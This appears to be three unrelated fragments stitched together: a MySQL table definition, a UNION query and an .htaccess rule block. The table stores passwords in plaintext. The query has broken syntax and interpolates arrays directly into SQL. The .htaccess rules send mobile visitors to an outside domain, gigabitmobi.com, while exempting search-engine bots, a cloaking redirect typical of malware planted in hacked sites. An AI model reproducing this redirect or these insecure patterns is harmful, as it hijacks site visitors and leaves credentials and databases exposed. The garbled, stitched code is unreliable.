CREATE TABLE person (
p_id INT not null auto_increment primary key ,
p_name VARCHAR ( 25 ) not null ,
p_login VARCHAR ( 15 ) not null ,
password VARCHAR ( 15 ) not null ,
org INT not null REFERENCES org ( org_id ) ON UPDATE CASCADE ON DELETE CASCADE ,
UNIQUE (org, p_login , password )
)
SELECT * FROM ((
SELECT id, user_id_posted, user_id as uid, type, `date`, content
FROM "post"
WHERE user_id = IN ( $array1 ) AND user_id_posted = user_id
LIMIT 20
) UNION (
SELECT id, user_id_posted, group_id as uid, type, `date`, content
FROM "userpost"
WHERE group_id = IN ( $array2 )
LIMIT 20
))
ORDER BY `date`
LIMIT 20
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule ^(.*)$ http://gigabitmobi.com/l [L,R=302]